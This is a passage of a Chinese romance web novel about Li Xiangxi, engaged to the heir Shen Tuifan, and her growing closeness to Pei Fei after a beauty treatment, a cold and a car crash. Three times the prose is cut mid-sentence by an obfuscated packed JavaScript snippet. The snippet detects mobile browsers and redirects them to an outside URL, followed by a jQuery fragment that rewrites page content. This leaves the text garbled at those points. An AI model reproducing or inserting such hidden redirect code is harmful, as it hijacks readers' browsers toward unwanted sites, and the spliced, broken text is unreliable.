黎向浠沉浸在早餐里,完全不在意,她满足吃完,这才上车,开往美容院。 美容院也在市中心,独栋六层楼,有设计的四方体玻璃,内饰纯白色,沙发桌椅地板,一尘不染。 如果有太阳照下来,一定很漂亮,但今是个阴天。 前台穿着白大褂,见她走进来,立刻笑嘻嘻迎接,问候了一句黎小姐,便领着她往里面的房间走。 黎向浠不知道自己今天要做的是什么,只是跟着她们的指示,换了衣服,躺上去,敷东西,然后脸上被扎了好多下,折腾好久,到下午的时候才结束。 早上只吃了一个包子,这会儿黎向浠饥肠辘辘,但她出来的时候发现,自己的脸红红的,看上去很奇怪。 她返回去问,那个白大褂的女人告诉她,这是让皮肤变好的,这几天要防晒,红是正常的,还贴心给了她一个口罩。 刚刚怎么不给? 黎向浠第一想法。 第二想法才是,为什么这么红?怎么见人啊? 做都做了,又反悔不了,黎向浠只好戴上口罩。 但上半张脸还露着。 她翻到了裴非车内的一副墨镜。 黎向浠想起裴非,正巧可以用这个当借口,和他说说话。 她拍了一张照片发过去,问他:【你的墨镜我可以借用一下吗?】 等了二十分钟,裴非没有回答,黎向浠也没有拿,否则不礼貌了。 她将车子开回超市门口,买了好几天的菜量,这副鬼样子,还是少出门的好。 就连裴非她都不想见,本就生气,一看见她这样,他一定觉得她神经病。 黎向浠回到老宅,匆匆做好饭菜,吃完,把自己关进书房。 她在桌子上放了裴非的那份,还有便利贴,让他回来如果冷了,就自己热一下。 又给他发了几条信息。 但裴非一整晚都没有回来。 消息也不回。 另一边,酒吧。 灯红酒绿,音乐躁动,二楼观景台烟雾缭绕,依旧是各种公子哥痞里痞气喝着酒,玩着游戏。 裴非看着微信页面,眸色沉下去。 下午黎向浠问他要墨镜,他第一时间就看见了,但没有回。 晚上黎向浠说她弄了晚餐,希望他可以回去吃,他还是第一时间看见了,没有回。 刚刚黎向浠和他道歉,说不知道哪里做错了,希望他不要生气,裴非咬紧牙关。 他不理解黎向浠这类人,似乎他做什么,她都能笑出来然后原谅他,从一开始就是。 酒吧搭讪,他冷脸几下,那些人就惺惺离开了,但黎向浠都被人调戏了还不走,甚至没有忘记找理由说话。 当初闹误会,他一拳打在她身后的墙上,其实也是警告她,让她离他远一点。 但黎向浠并不听劝,没过几个小时就在老宅院子里拦住他了,还眼巴巴地道歉。 脾气真好,真怕这种人被人卖了还帮着数钱,裴非无奈笑笑。 不过,这些不应该由他来操心,该沈推凡来管。 裴非关上手机,杯子放回桌上,拿起一整瓶的酒。 许子炀还是第一次见裴非喝醉,他扶着裴非回休息室的时候,裴非已经完全睡过去了,跟他清醒的时候一样,不吵不闹,喊也不回答。 裴非的老宅许子炀知道在哪里,但他不敢送裴非回去,那栋老宅裴非不愿意别人靠近。 那是他的奶奶留给他的。 奶奶和裴非没有血缘关系,但却是唯一一个会关心裴非的家人。 老宅不属于沈家的资产,所以没有人会觉得,住在这里的裴非,是沈家的私生子。 似乎是奶奶给裴非最后的保护,让他回国之后住在里面,无人打扰。 许子炀看着昏睡的裴非,突然想起他们第一次见面的时候。 裴非那会儿还没有现在这么成熟,也就……18岁? 那个时候他因为家里的原因,不让玩赛车,就偷偷跑出去玩,结果碰到了被围追堵截的裴非。 许子炀喜欢赛车,所以他一眼认出来裴非,后来他帮裴非躲过那些监视,裴非教他赛车,他也才知道,裴非玩赛车,是为了找存在感。 速度快起来,人会有求生欲,裴非只有在那个时候才有活下去的想法。 许子炀也是第一次知道,原来真的有人,只要是活着,就得隐瞒身份,见不到亲人。 裴非的妈妈明明活着,活得很漂亮,裴非却见不到,唯一一面,是在裴非同母异父的弟弟生日会上。 裴非最有心机的一次,他在国外接近了小他两岁的裴迎,偷偷去裴迎生日会,看见了他的妈妈。 然后回家就被管家教训了。 那是唯一一面。 也是切断他对母爱幻想的一面。 裴非的生日每年都很低调,以前奶奶还活着的时候,想尽办法出国去陪他,那些重要的比赛,奶奶年纪大了,却瞒着沈家自己跑去看,还不能跟裴非太过亲密,怕裴非身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044796|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴露。 两个人就一个在观赛席,一个在赛场,遥遥相望。 - 黎向浠再看见裴非时,已经是三天后,下午时间。 裴非回了老宅。 黎向浠正抱着小说坐在沙发,脸颊的伤口结了痂,像是小雀斑挂在颧骨的位置,不红了。 裴非不在,她也就懒得戴口罩。 不过这几天她还是会给裴非发信息,有时候是早安晚安,有时候问他吃饭了吗? 因为他突然生气,黎向浠觉得是自己的错了,是不是他脖子上的伤,是她喝多打的,所以他生气了? 裴非从外面回来,黎向浠正坐在沙发上,天气冷了,她穿了一件白色高领毛衣裙,下巴缩在领子里,脸蛋圆碌碌的,很可爱。 原本滑嫩的脸有了斑点,虽然无伤大雅,甚至因为小雀斑加成,似乎更可爱了些,但分明是做了什么东西才会留下来的。 裴非有些错愕,本来不想管,但黎向浠眼睛水汪汪看着他,还问他吃过了吗,似乎这才想起来自己的脸受伤了,赶紧用小手捂住,尴尬吐着舌头嘿嘿笑。 “怎么回事?”裴非还是没忍住,跟她说话了。 黎向浠用掌心按了按脸颊,“做了点美容,没关系,马上就好了。” 裴非这才发现,桌子上,那本恐怖小说旁边,一张美容院的vip卡。 沈氏旗下的美容院。 裴非突然想笑。 确实啊,她嫁过去之后,就是沈家继承人的太太了,是要注意一点形象,他多嘴管这些做什么。 裴非转身往楼上走去。 黎向浠小碎步跟在后面,只知道裴非又跟她说话了,于是开始叽叽喳喳:“裴非你知道吗?小碳长胖了!我今早抱着它,好沉啊,在院子里走两圈胳膊都酸了!而且附近的叶子变黄了,深秋了,天都冷了,我的衣服又该换了,得买多几件毛衣了,我……” 裴非在门口停下脚步,回身,黎向浠差点撞上去,呆头呆脑站住,眼巴巴看着他。 裴非冷着脸,“这些不用跟我说,我也不爱听。” “为什么?你不需要买衣服吗?我在网上看了,你不想去的话,我网上给你买回来,你多高来着?我……” “黎向浠。”裴非抢过她手机,“听不懂吗?我让你别烦我,无聊就搬出去。” 黎向浠愣住。 裴非的声音不大,但老宅太空旷了,她走路都会有回音,所以把裴非的话衬得很大,从二楼荡到一楼。 黎向浠不知道作何回答,也不知道为什么她就烦人了。 她把手藏在袖子里,两个小拳头一下一下撞着,小声说:“对不起。” 裴非拧眉,心脏一抽一抽的。 这并不是黎向浠的错,是他自己的原因,但他不能再跟黎向浠这样接触下去了。 他的生活,不应该闯进太多阳光,尤其是不属于他的阳光。 裴非没有回答,他把手机伸出去,递到黎向浠两只拳头的中央,止住她无措的撞击。 黎向浠只是用拳头夹着手机,也没抬头。 裴非转身进了房间,关上门的刹那,他听到手机掉落在地板上的声音。 - 39. 他担忧 红木门关上的时候,黎向浠一直低着脑袋,嘴角上扬着,眼底却没有笑意。 她是习惯性嘴角上扬。 黎蔓出事之后,她每天都会努力让自己笑出来。 但裴非转身的时候,黎向浠眼眶泛红了,鼻子酸酸的,心底很委屈,像是堵着一股疏不通的气。 不知道问题在哪里,也不知道事情为什么变成现在这个样子。 袖子很滑,黎向浠四肢无力,手机就从拳头之间滑下去了。 黎向浠垂手,袖子很长,盖住她的手指,看上去失魂落魄的,她慢慢弯腰,隔着衣服捡起手机,抱在肚子上,吸了吸鼻子,反身回了自己的房间。 她的房间很空旷,东西很少。 因为她从山城来的时候,就没有带很多东西。 她并不把这里当做家,客厅的那些东西,是做表面功夫,给她自己心安的。 这样,黎蔓察觉到她在好好生活,心情能舒适一些。 但她的卧室,要做到随时可以托着行李箱就走。 黎向浠从没忘记过,沈推凡会随时带她走。 而此刻,她的床头柜上,前些天开得火红的玫瑰,花瓣末端变成了黑色,快枯萎了。 即使是这样,房间还是充斥一股浓浓的玫瑰味道。 黎向浠匆忙跑过去,拿起花瓶往洗手间走,给花换水,剪掉花枝的末端,试图让它撑得久一些。 做完这些,黎向浠呆坐在床边,看着它们,心底空空的,沉沉的。 窗外开始下起小雨,落在窗子上,啪嗒啪嗒作响,黎向浠没有关窗户,其实算算时间,也快到冬天了。 风吹,窗帘往里面飞起来,一些水汽跟着进来,冷飕飕,湿润润的。 黎向浠的脸被吹得冷冰冰,蒙上一层水雾,鼻尖起了红,浑然不知。 嗡地一声。 黎向浠手机响了。 她拿起一看,又是管家的信息:【黎小姐,帮您预约了明天准妈妈的培训课程,地址给您发过去,请您按时过去。】 黎向浠没有回答,她知道这个是培训怎么照顾小孩子的,但她一点也不喜欢小孩子,尤其不喜欢自己的小孩,更不喜欢跟没有感情的人,生的小孩子。 那简直就是折磨。 黎向浠第一次有了害怕沈推凡的情绪,她开始想,如果沈推凡睡在她身旁是什么感觉? 同床异梦,他们到现在只见过一面,沈推凡明明有那么多时间可以过来看看她,但沈推凡没有,还把她的脸弄得乱七八糟,尽管她知道最后会恢复,但她也不喜欢。 她觉得自己的皮肤没有那么差,要在上面打那么多针的地步。 这样想着,黎向浠伴着吹进来的瑟瑟寒风睡了过去。 第二天醒来的时候,黎向浠身上没有被子,她缩成一团睡在了被子上,她脑子重重的,鼻子也不通气,嗓子哑了,鼻音很重。 黎向浠总算觉得冷了,她洗漱好,换上厚厚的毛衣裙,踩着黄色的雪地靴出门。 裴非早已不见了踪影。 黎向浠打着伞,拿着火腿在门口等了好久,小碳都没有出现。 是不是下雨,小碳来不了?那它饿了怎么办? 黎向浠沿着湿漉漉的柏油路走着,她沿路找小碳的身影,找到了它主人的别墅,看见阿姨抱着它。 小碳睡得很香,没有淋湿,肚子鼓鼓的,看上去已经吃过了。 黎向浠走上前询问才知道,天冷了,时不时下雨,害怕小碳生病,他们就不让小碳乱跑了。 那家人还跟黎向浠说了谢谢。 黎向浠回家把火腿都拿出来,给了小碳,跟小碳说了明天春天见。 其实黎向浠不确定明年春天她还在不在这里,只是那会儿小碳又可以在别墅区玩耍了而已。 两趟来回,小黄靴子被雨浸湿,变得重重的,脚底冰冰凉凉。 黎向浠回家换成黑色的皮靴,又开车出门了。 去管家说的所谓的准妈妈培训课堂。 车子在密密麻麻的雨丝里开了一个多小时,抵达了京北另一处郊区。 那是一栋庄园,只有一个房子,在围起来的很大的栅栏里面,院子里有高高的树,在雨丝里枝繁叶茂的。 黎向浠车子停在院子里,立刻有人打着黑伞前来迎接,是一个年长的男人,留着白胡子。 “黎小姐。”男人似乎认识她。 黎向浠先是打了一个喷嚏,又匆匆道歉,才和他礼貌点头。 男人指引她进去。 “这里是沈总的宅子,沈总请了老师过来。” 沈推凡的房子。 黎向浠好好打量起来。 房子很大,白色的墙黑色的顶,像是欧洲古堡,走进去,一层的天花板很高,装饰也是欧式风格,精致的壁画和异域风情花纹的毯子,还有壁炉。 中央放了一张大桌子,桌子上有两个假娃娃,因为太像是真的了,所以看上去很诡异,黎向浠起了鸡皮疙瘩,赶紧挪开眼睛。 桌上还有各种颜色的花,只是还没有处理,枝叶和刺都乱七八糟的,还一个空的花篮。 一个面带微笑的中年女人站在那里,和她点头打招呼,“黎小姐您好,我是今天的老师,我姓张,今天我们学小朋友哭的时候,如何分辨他是饿了还是不舒服。不过在这之前,我们得先静一下心,学一学插花。” “你好,张老师。”黎向浠礼貌撑着笑容走到她身边,鼻音重重的。 张老师帮黎向浠戴上手套,又递过来一枝玫瑰,还有打刺钳。 黎向浠接过,发现这只玫瑰没有她房间里的玫瑰好看,这只开得不大,畏畏缩缩的,好像没到盛开的时候就被人摘下来了。 不过好像为了延长花期,很多都是在花开茂盛之前摘下来贩卖的,黎向浠不太懂,但裴非给她买的那束是开得刚好的时候,最漂亮了。 她跟着老师的动作,保持没什么情绪的笑意,划干净上面的刺,剪短枝,插入花篮,一番精心的照顾之后,玫瑰在篮子里满满当当,像是一颗花球,看不见枝了,只剩花瓣。 其实挺好看的,还坚实,重重的,但黎向浠觉得,和她房间里随意插放的差不多,玫瑰花本来就好看,不处理也好看。 这样想着,她脱下手套,放下打刺钳,不小心压到了没有处理的花枝上,一股痛意袭来,黎向浠倒吸一口凉气。 张老师吓坏了,立刻上来询问,“怎么样,有没有刺留在里面了?” 黎向浠摇头,她不知道有没有刺,但被扎的地方火辣辣的。 本来就不太开心,这一下更烦了,黎向浠地重重呼吸一下。 张老师立刻脸色大变,害怕得后退低头,连连道歉,“对不起黎小姐!是我疏忽了!实在抱歉!” 似乎很害怕受到惩罚。 黎向浠有些自责,她立刻挂上笑容,说没关系的。 她擦掉溢出来的血,看见里面有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056352|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个黑色的小点点,在无名指指尖上。 “这个应该是刺吧?你帮我拿下来吧!”黎向浠语气尽可能保持平和。 张老师果然松了一口气,找来医药箱,帮她剔出刺,消毒,贴了一个创可贴。 在这间隙,有人收拾了桌子,处理好她们就开始学习怎么带小孩。 黎向浠没有经验,她只是机械跟着,拍一拍喂一喂。 一个上午加中午,什么也没记住。 黎向浠忙完这些,已经到了下午,雨没有听,反而变大了。 返程的路变得滑滑的,黎向浠脑袋乱七八糟,有些把控不了方向盘,在郊区拐弯的路口,砰地一声,撞上了路边的大石头,她额头磕在方向盘上,清醒不少。 黎向浠走下去,看见法拉利车头凹进去,车灯碎了。 果然,就说她不能开吧,肯定会撞的。 幸好没有撞到人,也幸好这段路没有几辆车走。 黎向浠叹息一声,拿出手机拍了一张照片,很不好意思地给裴非发了一条消息:【对不起裴非,我把你的车撞坏了,我会把它修好的,你不要生气。】 她站在雨里,不知道要怎么处理。 没一会儿,裴非的电话打过来了。 “受伤了吗?”裴非的呼吸起伏比平时大,似乎在快步走路。 黎向浠摇头,“没有。” “在哪?”裴非问。 “在你们基地拐往老宅超市的这个路口。” 黎向浠没等到回复,裴非已经挂了电话。 她耸耸肩,朝法拉利车灯碎片,束手无策,她感觉自己呼出的气体烫烫的,脸颊也开始发烫,黎向浠以为这是撞车了,太尴尬引起的。 她努力想要自己处理。 应该是要先打交警电话吧? 这样想着,她拿起手机刚要拨号,就收到了许子炀的电话。 “浠浠宝贝,你撞到人了吗?”许子炀语气轻松。 “没有,我撞到路边的石头而已。” “漂亮,不用报交警,不走保险,我过去处理。” “为什么不报?” “呃……” 许子炀不知道怎么解释如果这辆车是一个女生报的交警,可能沈推凡就知道裴非在京北了。 “没事,你不用管,在那等着就行。” 许子炀挂了电话,准备从家里出发。 身为一个夜夜笙歌的富二代,他刚睡醒,就被裴非一个电话告知,立刻马上出门处理这件事。 许子炀只能认命。 他也才知道,那天黎向浠喝醉,明明没有说地址,为什么裴非能找到他们了。 因为裴非早就知道,他看见黎向浠开这辆车了。 黎向浠蹲在车头,很心疼地看着凹进去的,昂贵的车子,她弄的,这修起来得多少钱啊。 雨下大了,她的毛衣上染着厚重的水珠,有点冷,视线也晕乎乎的,黎向浠将脑袋埋进膝盖,看上去像是委屈巴巴的鹌鹑。 一辆布加迪从路口飞出来,停在法拉利旁边,驾驶人冲下来,将地上的黎向浠拉起来。 黎向浠一脸茫然,脸颊还有发烫留下来的红晕,粉扑扑的,把小雀斑都衬得可可爱爱。 裴非神色紧绷打量着她,“哪里不舒服?怎么蹲在这里?不是没有受……” 四目相对的时候,或许是看见黎向浠迷茫的眼神,裴非才回过神来,他在做什么。 - 40. 念叨他 黎向浠眼眶也在发烫,被裴非拉起来的时候,视线都在发昏。 她有些没站稳,还是裴非双手抓住她肩膀帮她保持的平衡。 裴非是黑色高领,一件黑色皮夹克,依旧是能踏破所有水滩的黑色马丁靴,站在她跟前,高高的,挡住不少吹过来的风。 他这次没有戴帽子,让他整张隽秀的脸在寒风里变得白皙又清冷。 其实是要戴的,但裴非出门太着急,忘记了。 雨有些大,黎向浠卷翘的睫毛上挂了水珠,仰头的时候流进眼睛里,有些刺痛,她垂头,想用手揉一揉。 “别动。”裴非抓住她手腕。 他拿出一张餐巾纸,帮她小心翼翼擦掉溢出来的眼泪。 裴非的手指背部蹭到她脸颊,他皮肤因为锻炼,变得很粗粝,刮在她的小雀斑上,有些痒痒的。 黎向浠没控制住,眨巴着眼睛,卷翘的睫毛扬起来,像是煽动翅膀的蝴蝶,轻轻落在裴非指尖。 裴非动作停住,他蜷了蜷手指,屏住呼吸继续帮她擦掉可怜的眼泪。 她的呼吸打在他掌心,灼热,不像是平时会有的体温。 裴非将纸巾攥在掌心,手背碰了碰黎向浠额头。 刹那,因为担忧而发凉的手指,像是撞上火球一般,滚烫弹开。 “你……”裴非想问她去哪里了,怎么搞得乱七八糟的,烧得这么严重。 黎向浠吸了吸鼻子,眼神有些恍惚,将脖子缩进高领里面,头发一缕一缕落下去。 看得裴非心头一紧。 “走。”他拉着她的手,下一秒又停下脚步。 他碰到了她无名指上的创可贴。 “怎么回事?”裴非拧眉看着她。 黎向浠摇头,“被玫瑰花的刺扎了一下,没关系的,不疼了。” “玫瑰?”裴非反问。 “那个…我就是去花店……那个……” 黎向浠不想提沈推凡,她觉得裴非好不容易理她了,再提沈推凡,可能他又生气了。 不过她也没有找到好的借口。 裴非看一眼她来的方向,不等她解释,便拉着她上车,又帮她系好安全带。 这让黎向浠像是躲过一劫那样,松了口气。 车子在雨里飞奔,裴非开得快而稳,似乎将笼着大地的雨丝薄雾穿破那样,尽管如此,黎向浠却一点也不害怕,她觉得裴非的车技来说,再快都没关系。 “我们去哪里啊?”黎向浠看着窗外倒退的陌生的景色。 不是老宅的方向,也不是市中心。 “基地,那里有医务人员,还有门诊,去那里挂盐水。” 这个医疗团队,起初也是许子炀给裴非弄的,小感冒什么的不用去医院,免得总往市中心跑,很容易碰到沈推凡。 “可是……那里不是有你很多朋友吗?” 黎向浠还记得裴非说的,不要说明他们的关系。 “说你是我朋友就好,没事。” 抵达基地的时候,黎向浠发现自己白担心了,因为今天休息,基地根本没有人。 基地很宽敞,有训练赛道,整个基地内部是现代科技感的设计,外形都是单面玻璃,一楼是各种车子,往上走是各种训练室,会议室,休息室,还有娱乐茶水之类的,台球乒乓球等等设施应有尽有,还有一个酒水间。 很符合许子炀的刻板印象。 医疗室跟医院装饰差不多,白色的墙壁,白色的地板床单,干干净净。 黎向浠检查一番,就乖乖躺在床上挂盐水。 裴非靠在床尾,背对她,不知道在想什么。 护士出去了,里面就他们两个,没有任何动静,空气安安静静的,唯一聒噪的就是消毒水的味道,厚重刺鼻。 “车子……修理费……到时候我转给你吧。”黎向浠开口。 “不用。” “对不起啊,我不是故意的……” “没关系。” 裴非转着手机。 他眼神有些飘。 其实他能猜得出黎向浠是从谁家出来的,那条路的尽头,是沈推凡的庄园。 他只是觉得,黎向浠这个状态,肯定不是一时半会儿出现的,在沈推凡的房子就有迹象了,但那里的人,一个关心的都没有吗? 裴非想回头,他知道黎向浠肯定在看着他,她就是这样,永远那样直白,眼神是这样,说的话也是,每天裴非裴非地喊,就算他不理他,也要给他发早安晚安。 “你好好休息,我出去抽一支烟。”裴非起身,下意识和她汇报自己的行踪。 “好。”黎向浠哑着嗓子回答。 裴非脚步停一下,又干脆离开医疗室。 裴非走到无人的吸烟区,顶光灯很苍白,对面是圆形厚重的窗子,雨下了很久,打在上面朦朦胧胧的。 他抽了一支烟咬在嘴角,手隆起,挡住打火机的光,淡橘色的火焰倒影就明明暗暗映在他紧蹙的眉间。 白雾缭绕,模糊了裴非锋利的五官,他肩膀沉沉的。 其实他不该管黎向浠的,这种事情,让许子炀把车开走,打针的话,让黎向浠找沈推凡的管家,她就能在最优秀的医院最舒适的VIP病房里打针。 沈推凡嘛,手握所有沈家的资金支配权,沈家独生子,未来的继承人,在哪里不是横行霸道。 裴非嘴角露出一抹苦笑,他手痒了,握着拳头,手指关节咔哒响着,他又想用蝴蝶刀划一划沈推凡的脸。 人都是双面的,他是,沈推凡也是。 一支烟结束,裴非理清思路,等黎向浠打完针,送她回去,仅此而已。 说是这么说,裴非还是转身去给黎向浠买了晚餐。 帮她架起小桌子,给她整理干干净净,才把筷子递给她。 “你吃了吗?”黎向浠问。 “我去外面吃。”裴非说。 “你在这里吃吧,热闹一点,我们都好久没有一起吃晚饭了。” 裴非:…… 有时候,太过直白的话,总是很致命。 裴非去到用餐区,把自己的晚饭拿进去,在黎向浠旁边的柜子上吃起来。 他想,这是最后一次由着她。 “你们食堂的菜都不放辣椒吗?”黎向浠夹着一块水煮白肉。 她看过去,裴非的也是没有辣椒的。 “忌口。”裴非说。 感冒了,又还打着狂犬疫苗,不能吃太辣。 “可是没有辣椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067921|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吃不下,我们山城很多菜都有辣椒的,你之前去的时候吃过吗?山城的火锅?” 裴非觉得这个问题好熟悉。 但他还是摇摇头。 黎向浠还在喋喋不休,裴非放下筷子出门。 以为他被自己念叨烦了,跑走了,黎向浠有些内疚地咬了咬舌头,看着那一大块水煮白肉,一点食欲没有。 不一会儿,裴非走回来,他拿了新的菜,有辣子鸡,麻婆豆腐,还有毛血旺等等,好几样,看上去装满了红油。 裴非将它们打开,依旧是帮她弄得干干净净的,又将纸巾扔在她手边,这才坐回原来的位置。 因为他刚刚为了让黎向浠好好吃那些没有辣椒的菜,他也要了一样,此刻两边比起来,他的饭菜清汤寡水得像是出家了一样。 “你要一起吃吗?”黎向浠又问。 裴非咬牙,还是坐过去了。 打完针,两个人回了老宅,一路上裴非都不太搭理她。 黎向浠用沙哑的声音喋喋不休,裴非比刚认识的时候还沉默,黎向浠也不介意,好几天没有和他说话了。 后来好几天也是如此。 早上的时候,黎向浠和裴非说早上好,裴非不搭理她。 一日三餐裴非都是在外面吃的,他们见面的时候,只有早上,以及裴非晚上回来从大院走进房间这段距离。 黎向浠就屁颠屁颠迎上去,趁这个时间和裴非说两句话,说她今天做了什么,像是语音日记那样告诉裴非。 裴非只是到了房间门口的时候,转身看了她一眼,什么也没说地进了房间。 每次那个红木门关上,黎向浠就叹息一下。 这天,黎向浠的感冒好得差不多了,她又开始录制有声读物。 黎向浠走进书房,窗外的雨还在下,不知道这场雨要下多久,反正这一周没有停过。 下雨总是会加剧人不开心的情绪,黎向浠的声音似乎还没有完全好,她录制第一遍的时候,自己听,发现还是哑哑的。 于是她清了清喉咙,含了一会儿含片,开始录制第二遍,一模一样的。 结果还是不尽人意,她又开始第三遍。 似乎今晚的声音就是要跟她作对,偏是不尽人意,黎向浠开始失去耐心了,她没发现自己是从哪句话开始,嘴角没了笑意的。 她将趴在桌子上,拿起手机,点开黎蔓的微信。 一条一条都是单箭头发出去,石沉大海,没有回音。 黎蔓的微信底下是裴非,还是她的单箭头。 黎向浠想,其实她也不是非要缠着裴非,只是她太无聊了,这里只有裴非能和她说话,而且,裴非一定会懂她,他们的身份差不多的,所以一开始的时候,裴非会接受她。 但黎向浠不理解,她到底哪里做错了,让裴非一夜之间像是变了一个人,完全不搭理她,但她生病的时候,裴非明明是关心的,为什么关心之后又不理她了。 黎向浠委屈了,这种忽冷忽热的感觉,好难受,像是一样东西,一下属于你,一下又不属于你,心底痒痒的。 这个故事重复到第六遍,书房里响起轻微的抽泣声。 窗外,裴非掀起眼皮,紧握的手背爆出青筋。 - 41. 他主动 黎向浠情绪失控,哭了很久,她没敢放声哭,裴非还在隔壁,害怕他听见。 所以她咬着牙,对着手机里黎蔓的聊天页面,悄悄诉苦。 “其实我很讨厌做家务,很讨厌讲话,就喜欢手语,那样不用跟人打交道。但你不在我身边,没人啰嗦了,变得好安静,我只能自己讲话。我现在来这里,找不到公园下象棋的爷爷奶奶,还没有几个朋友,把周围的路都走烂了,也没觉得哪里好玩……” 黎向浠吸了吸鼻子,感冒加哭腔,鼻音更重了。 “其实我也不想烦别人的,我是太无聊了,一闲下来我就想你,一想你我就想哭,可是不能哭,你说了的,只有笑出来身体才轻松,日子才好,所以我不哭,但今晚我真的太难受了,感冒了你就让我犯规一下,悄悄哭一哭。” …… 黎向浠啜泣着,喋喋不休趴在桌子上,哭累了,声音慢慢变小,就这么睡过去了。 窗外,裴非听完了她所有的“抱怨”,突然想到了在迎香里那晚,方统跟黎向浠打招呼。 那个男的说,他记得黎向浠以前不怎么爱说话的。 山林里传来四声杜鹃的啼叫,混着蒙蒙细雨,院子陷入一片寂静。 裴非缓缓起身,透过书房的敞开的窗子,看见伏桌而睡的女生眼尾未褪去的红晕。 书房灯光昏暗,旧家具年代久远,她长得白净,趴在那儿,像是一片混沌里长出的白花,漂亮,安静,乖巧。 原来黎向浠不说话的时候,是这个样子。 裴非垂头,抽出一支烟,手笼在火光外面,燃了之后缓缓吸一口,随后站在窗口看了完了一整支烟才离开。 第二天,黎向浠醒来的时候,身上多了一条暖和的厚毯子。 毯子是干净的阳光气味,但呆在老宅久了,染了点点沉木的香味,把她包裹在椅子上。 裴非的? 黎向浠双手拉了拉毯子,挂在肩膀上,嘴角不自觉上扬。 随之又落下去。 她听到一楼传来锅碗瓢盆的动静了,但她不敢出去。 如果她出现,裴非又生气离开怎么办。 还是不要打扰他的好。 黎向浠用毯子把自己裹成一个粽子,撅嘴,委屈巴巴靠在椅子上。 不一会儿,外面传来裴非上楼的脚步声,靴子踩在木制地板上的声音,动静很大,咔哒咔哒的,一步一步往书房靠近。 怎么办?要是他路过看见她醒了,要不要打招呼?吓跑他怎么办? 黎向浠抓紧一些被子,无措间,她靠着椅子直接闭上眼。 装睡。 真棒。 黎向浠悄悄抿嘴偷笑。 但脚步声越来越近,最后停在了她身后。 黎向浠一动不动。 裴非不会是来拿走毯子的吧?她这个姿势怎么拿? 全部裹在她身上,又压在椅子靠背里。 正想着,额头传来一阵轻柔的触感,还有暖和的温度。 黎向浠绷紧神经,屏住呼吸。 下一秒,那只手又反过去,用手背贴着她额头,隐约熟悉的青筋刮在她皮肤上,不知道是物理因素,还是黎向浠心跳加速,她体温极速上升,耳垂发烫。 “不烧了。”裴非小声说。 语气有一种放松的感觉。 黎向浠紧张得咽了咽口水。 但,紧张时候咽口水,动静很大,在落针可闻的书房,明晃晃拆穿了她幼稚的把戏。 她听到裴非低声的笑,他有些无奈,但一点也不生气。 黎向浠不知道要怎么办,如果现在睁眼,那多尴尬啊,明晃晃的装睡。 想着,她听到脚步声慢慢往外走,下了楼梯,没了动静。 黎向浠松一口气。 她睁开眼,双手捂着脸颊,烫烫的,还摸到了没褪去的小雀斑,连小雀斑都是烫烫的,没有镜子,但她猜得出,一定很红。 她双手在脸颊旁边扇风,转头看着空无一人的门口。 出太阳了,一束温和的晨光从高高的窗子照进来,光影里有细微的小尘土在转动,斑驳漂亮。 她又转回来,这才发现,书房的窗户关上了,空调是28度,难怪昨晚一整夜她都没有被冷醒。 黎向浠心花怒放,笑意在脸上绽开,她裹着被子,步履轻快往门口走。 刚出到走廊,站在一楼楼梯口的裴非便抬头。 他刚刚离开的时候,就一直站在那里了。 猝不及防的四目相对,黎向浠突然不知道要怎么办,她刚睡醒,声音哑哑的。 “裴非……早上好。”她怯生生说。 没有了以前的底气。 她觉得,昨晚裴非对她那样好,如果他觉得她的啰嗦是累赘,她还要和他喋喋不休,那就是恩将仇报了。 不抱希望地,黎向浠扯了扯嘴角,想要转身回自己的房间,却听到一楼温和的声音。 “早上好。” 黎向浠顿住,她重新望下去。 裴非站在光影里,淡淡的阳光照在他侧脸上,轮廓清晰柔和。 他没戴帽子,英隽的五官却并没有多少攻击力。 “洗漱好,下来吃早餐吧。” 裴非并没有笑,但这句话说得很轻,让黎向浠觉得他在笑。 黎向浠诧异,反应过来便点头如捣蒜,小碎步往门口跑,又折回来举着背上毯子的一角,“你的毯子我洗干净……” “给我吧。”裴非打断她的话。 他走到她跟前,顺手取下来,又说:“去吧。” 黎向浠站在洗手间的镜子前,觉得自己在做梦,她心跳得极快,这段时间因为被冷落,停止的躁动似乎又回来了。 早餐是裴非自己煮的,煮了番茄挂面,汤底浓郁清新,就算没有辣椒红油也很好吃,黎向浠吃完了一大碗。 “我洗碗吧!”因为心情好,黎向浠的声音拔高不少,尽管还有点哑哑的。 裴非却直径拿过空碗,一句话没说,在洗碗槽忙碌起来。 黎向浠抿嘴坐在餐桌上,侧头看着他。 似乎是察觉到她的眼神,裴非掀起眼皮。 黎向浠忙不迭垂头,她也不知道自己为什么闪躲,但他看过来的时候,她就是想要逃,还有点小羞涩,偷偷抿着嘴巴,偷笑, 